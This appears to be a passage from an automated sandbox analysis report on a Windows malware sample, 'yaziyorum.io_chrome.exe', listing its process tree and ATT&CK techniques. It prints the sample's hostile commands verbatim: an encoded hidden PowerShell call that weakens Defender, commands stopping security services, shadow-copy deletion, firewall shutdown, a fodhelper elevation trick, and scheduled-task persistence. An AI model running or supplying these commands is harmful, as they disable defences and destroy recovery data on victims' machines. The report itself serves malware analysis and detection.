PID 1712 wrote to memory of 5812	1712	yaziyorum.io_chrome.exe	113
PID 1712 wrote to memory of 6616	1712	yaziyorum.io_chrome.exe	116
PID 1712 wrote to memory of 3236	1712	yaziyorum.io_chrome.exe	118
PID 1712 wrote to memory of 6248	1712	yaziyorum.io_chrome.exe	119
PID 1712 wrote to memory of 4708	1712	yaziyorum.io_chrome.exe	121
PID 1712 wrote to memory of 6872	1712	yaziyorum.io_chrome.exe	189
PID 3236 wrote to memory of 6348	3236	fodhelper.exe	125
PID 1712 wrote to memory of 2592	1712	yaziyorum.io_chrome.exe	126
PID 1712 wrote to memory of 1560	1712	yaziyorum.io_chrome.exe	133
PID 1712 wrote to memory of 2936	1712	yaziyorum.io_chrome.exe	134
PID 1712 wrote to memory of 4316	1712	yaziyorum.io_chrome.exe	136
PID 1712 wrote to memory of 428	1712	yaziyorum.io_chrome.exe	141
PID 1712 wrote to memory of 6524	1712	yaziyorum.io_chrome.exe	143
PID 1712 wrote to memory of 3692	1712	yaziyorum.io_chrome.exe	144
PID 1712 wrote to memory of 1132	1712	yaziyorum.io_chrome.exe	145
PID 1712 wrote to memory of 6704	1712	yaziyorum.io_chrome.exe	146
PID 1712 wrote to memory of 576	1712	yaziyorum.io_chrome.exe	147
PID 1712 wrote to memory of 6432	1712	yaziyorum.io_chrome.exe	148
PID 1712 wrote to memory of 3388	1712	yaziyorum.io_chrome.exe	149
PID 1712 wrote to memory of 5396	1712	yaziyorum.io_chrome.exe	157
PID 1712 wrote to memory of 860	1712	yaziyorum.io_chrome.exe	158
PID 428 wrote to memory of 5316	428	cmd.exe	159
PID 6704 wrote to memory of 1116	6704	cmd.exe	160
PID 1132 wrote to memory of 7144	1132	cmd.exe	161
PID 576 wrote to memory of 4292	576	cmd.exe	162
PID 6432 wrote to memory of 6100	6432	cmd.exe	164
PID 6524 wrote to memory of 2772	6524	cmd.exe	163
PID 3692 wrote to memory of 6380	3692	cmd.exe	165
PID 1116 wrote to memory of 2608	1116	net.exe	166
PID 1712 wrote to memory of 6264	1712	yaziyorum.io_chrome.exe	167
PID 1712 wrote to memory of 5932	1712	yaziyorum.io_chrome.exe	168
PID 1712 wrote to memory of 5972	1712	yaziyorum.io_chrome.exe	169
PID 1712 wrote to memory of 4056	1712	yaziyorum.io_chrome.exe	170
PID 1712 wrote to memory of 5556	1712	yaziyorum.io_chrome.exe	171
PID 1712 wrote to memory of 5240	1712	yaziyorum.io_chrome.exe	172
PID 428 wrote to memory of 1012	428	cmd.exe	179
PID 5972 wrote to memory of 5968	5972	net.exe	180
PID 3164 wrote to memory of 5488	3164	chrome.exe	181
PID 3164 wrote to memory of 6052	3164	chrome.exe	182
PID 3164 wrote to memory of 4752	3164	chrome.exe	183
PID 3164 wrote to memory of 6052	3164	chrome.exe	182
PID 3164 wrote to memory of 4752	3164	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://yaziyorum.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffcf184c728,0x7ffcf184c734,0x7ffcf184c740
    3⤵
    PID:5608
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,16531694879094969034,14236928738829764143,262144 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=1904 /prefetch:2
    3⤵
    PID:1160
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1480,i,7746561595056522809,17897775332398667438,524288 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=2088 /prefetch:11
    3⤵
    - System Time Discovery
    PID:6964
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2236,i,3243369392912435041,13511569144211468143,524288 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=3152 /prefetch:13
    3⤵
    PID:3652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3012,i,13809371189908543077,2312664822837318460,2097152 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:1
    3⤵
    PID:4196
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3028,i,3263369580873602064,9042722807149463264,2097152 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=3224 /prefetch:1
    3⤵
    PID:3040
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4564,i,2007769089156166528,14062076420446319681,524288 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=4584 /prefetch:14
    3⤵
    PID:5956
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4808,i,6270652535846662323,9758576755204139339,2097152 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=4828 /prefetch:1
    3⤵
    PID:2856
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4484,i,17350047025288594195,9727281883150711636,524288 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:14
    3⤵
    PID:5488
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5520,i,4878665648756245660,17549581420370267558,2097152 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:1
    3⤵
    PID:6052
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5552,i,10194275871241519341,527598546465931362,2097152 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:1
    3⤵
    PID:4752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5732,i,12359398945857549958,902487559098126417,2097152 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=5636 /prefetch:1
    3⤵
    PID:2072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5552,i,3777048810424301282,4287667253752251686,2097152 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=5916 /prefetch:1
    3⤵
    PID:6596
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3636,i,17937943713131969375,14548161114178432630,524288 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:14
    3⤵
    PID:1232
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6240,i,15671326592614323230,6979793446934559075,2097152 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=6232 /prefetch:1
    3⤵
    PID:6852
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6048,i,10399494798737959134,7388919605072243808,2097152 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=5552 /prefetch:1
    3⤵
    PID:1120
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5508,i,9192127154697447246,17224395522980419081,2097152 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=6388 /prefetch:1
    3⤵
    PID:5320
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6340,i,12607885439876376283,3521283393243801465,2097152 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:1
    3⤵
    PID:2320
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6584,i,15873922676207683639,1886677529862835922,524288 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=5960 /prefetch:14
    3⤵
    PID:5172
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5608,i,138608189960501530,7007712533926375718,524288 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:14
    3⤵
    PID:6592
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=4840,i,5080891341545296259,10343714422600811440,2097152 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=4884 /prefetch:1
    3⤵
    PID:5696
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4924,i,9017395896741050115,5319540447948687627,2097152 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=4864 /prefetch:9
    3⤵
    PID:5612
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5580,i,7911633967244780363,18076697199599499605,524288 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=5916 /prefetch:14
    3⤵
    PID:6396
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5536,i,1266187597707831866,4134168494843023266,524288 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:14
    3⤵
    PID:5664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5904,i,9309406402141503649,6479857687060455595,524288 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=6460 /prefetch:14
    3⤵
    PID:6452
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5308,i,614467741189774074,1557775737578149190,262144 --field-trial-handle=1908,i,10196994837768566614,6894141601095768884,262144 --variations-seed-version --mojo-platform-channel-handle=4872 /prefetch:10
    3⤵
    PID:6728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4600
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5116
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4092
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2620
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:5864
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:6852
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1152
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:5812
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:6616
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3236
- - C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_chrome.exe"
    3⤵
    PID:6348
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:6248
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4708
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:6872
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2592
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1560
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2936
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:428
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5316
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1012
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6524
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2772
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3692
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:6380
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1132
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:7144
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6704
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1116
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:2608
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:576
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4292
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6432
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:6100
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3388
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5396
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:860
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:6264
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5932
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5972
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:5968
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4056
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5556
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5240

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3424

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1564

C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_chrome.exe
1⤵
PID:6452

C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_chrome.exe
1⤵
PID:1988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:6872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:7052

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv zAdu+Qzgp0iesDIEiObkTg.0.2
1⤵
PID:2072

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery